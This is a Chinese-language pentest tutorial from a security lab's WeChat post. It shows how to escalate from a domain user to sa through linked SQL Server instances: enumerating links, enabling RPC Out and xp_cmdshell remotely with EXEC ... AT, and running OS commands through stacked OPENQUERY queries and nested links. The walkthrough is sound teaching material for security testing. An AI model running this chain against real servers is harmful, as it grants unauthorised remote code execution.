利用Linked SQL Server提权
Linked SQL server是一个SQL Server数据库中的对象,它可以连接到另一个SQL Server或非SQL Server数据源(如Oracle,MySQL,PostgreSQL等),并且可以使用该数据源中的表和视图。通过使用Linked server,用户可以在单个查询中访问多个数据源中的数据,而无需将数据导入到本地数据库中。
Linked server通常用于数据集成和数据仓库环境中的查询,以及需要从多个数据源中检索数据的应用程序。
当创建从一个SQL服务器到另一个服务器的链接时,管理员必须指定在连接过程中使用的执行上下文。虽然可以基于当前登录的安全上下文创建一个动态的上下文,但是一些管理员可能为了配置方便而使用一个特定的SQL账户登录。如果管理员使用一个特定的SQL登录,并且该登录具有sysadmin角色权限,我们将能在链接的SQL服务器上获得sysadmin权限。
在渗透测试过程,如果遇到了集成到活动目录的MS SQL数据库,我们需要测试目标环境是否存在这种误配置。
我们首先枚举当前服务器链接的服务器。可以使用sp_linkedserver存储过程查看。在下面的例子中,我们连接到APPSRV01服务器,以普通域用户devdave认证,使用ESC工具进行查询:
set
instance
appsrv01
.dev
.ms08067
.cn
EXEC
sp_linkedservers
go
sp_linkedservers列举连接的服务器
ESC客户端list links命令也可以用查询:
list
links
ESC列举链接的服务器
从上面的输出可以看到,当前服务器APPSRV01SQLEXPRESS存在一个远程链接的服务器DEV-DC01,远程登录名为sa。下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。首先我们查询链接的服务器的数据库实例版本:
select
version
from
openquery(
"dev-DC01"
,
'select @@version as version'
)
查看dev-DC01数据库版本
输出证明我们可以在链接的服务器上执行查询。接下来,我们需要确认是在哪个安全上下文执行:
select
SecurityContext
from
openquery
(
[dev-DC01],
'select SYSTEM_USER as SecurityContext'
)
查询安全上下文
从输出可以看到虽然我们本地登录是域用户devdave,但链接的安全上下文是sa。有了sa权限,我们可以使用前面介绍过的方法在链接的服务器实现代码执行,这里使用xp_cmdshell。
需要注意的是xp_cmdshell需要改变advanced options,我们必须使用RECONFIGURE语句更新运行时配置。当这个语句在远程服务器执行时,微软使用Remote Procedure Call(RCP)实现。因此创建的链接必须配置RPC Out设置,默认没有启用,如果我们当前用户有sysadmin权限,可以使用sp_serveroption存储过程启用。这里为了演示在链接的服务器执行命令,我们先在APPSRV01服务器手动启用。在appsrv01上执行:
USE
master
;
EXEC sp_serveroption
'dev-DC01'
,
'rpc out'
,
'true'
;
RECONFIGURE
启用RPC Out
然后我们尝试在链接的服务器dev-DC01上执行命令。OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。注意要对内部的单引号通过双写进行转义:
EXEC
(
'sp_configure '
'show advanced options'
', 1; reconfigure;'
) AT [dev-DC01]
EXEC (
'sp_configure '
'xp_cmdshell'
', 1; reconfigure;'
) AT [dev-DC01]
EXEC (
'xp_cmdshell ipconfig'
) AT [dev-DC01]
在链接服务器执行命令
可以看到我们成功在链接的远程服务器dev-DC01上获得代码执行。
虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行:
SELECT
*
FROM
OPENQUERY(
"dev-DC01"
,
'select @@Version; exec xp_cmdshell ''ipconfig > c:Toolsipconfig.txt'''
)
go
利用堆叠查询执行命令
虽然命令结果没有回显,但实际命令成功执行。
上面我们发现appsrv01上的数据库配置了到dev-DC01上数据库的链接。我们也可以在dev-DC01上执行sp_linkedservers存储过程,查看是否存在从dev-DC01到其他数据库服务器的链接。需要注意的是SQL服务器的链接默认不是双向的,所以依赖于管理员配置。我们可以使用如下语句查询:
set
instance
appsrv01.dev.ms08067.cn
EXEC (
'sp_linkedservers'
)
AT
[dev-DC01]
go
dev-DC01数据库链接枚举
从输出可以看到也存在从dev-DC01到APPSRV01的数据库链接。我们之前已经通过链接在dev-DC01上获得了sa权限,可以再次通过链接返回到APPSRV01。使用下面命令查看在APPSRV01上的登录上下文:
select
mylogin
from
openquery
(
"dev-dc01"
,
'select mylogin from openquery("appsrv01", '
'select SYSTEM_USER as mylogin'
')'
)
APPSRV01权限查询
从输出可以看到我们在appsrv01上也获得了sa权限,因为是sysadmin角色,我们可以通过相同的方法实现代码执行。同样也需要在dev-DC01上配置RPC Out:
dev-DC01启用RPC Out
然后启用xp_cmdshell并执行命令,需要注意单引号的转义:
set instance APPSRV01.dev.ms08067.cn
EXEC (
'EXEC ('
'sp_configure '
'''show advanced options'''
', 1; reconfigure;'
') AT [appsrv01]'
) AT [dev-dc01]
EXEC (
'EXEC ('
'sp_configure '
'''xp_cmdshell'''
', 1; reconfigure;'
') AT [appsrv01]'
) AT [dev-dc01]
EXEC (
'EXEC ('
'xp_cmdshell '
'''ipconfig&hostname'''
''') AT [appsrv01]') AT [dev-dc01]
go
通过嵌套链接执行命令
上面例子可以看到,我们先从APPSRV01通过链接的方式在dev-DC01上执行命令,然后又通过链接方式,从dev-DC01跳回到APPSRV01并在上面成功执行命令。我们可以枚举嵌套链接的数据库,并执行查询。理论上,可以多次跟随链接并获得代码执行。
原文始发于微信公众号(Ms08067安全实验室):利用Linked SQL Server提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论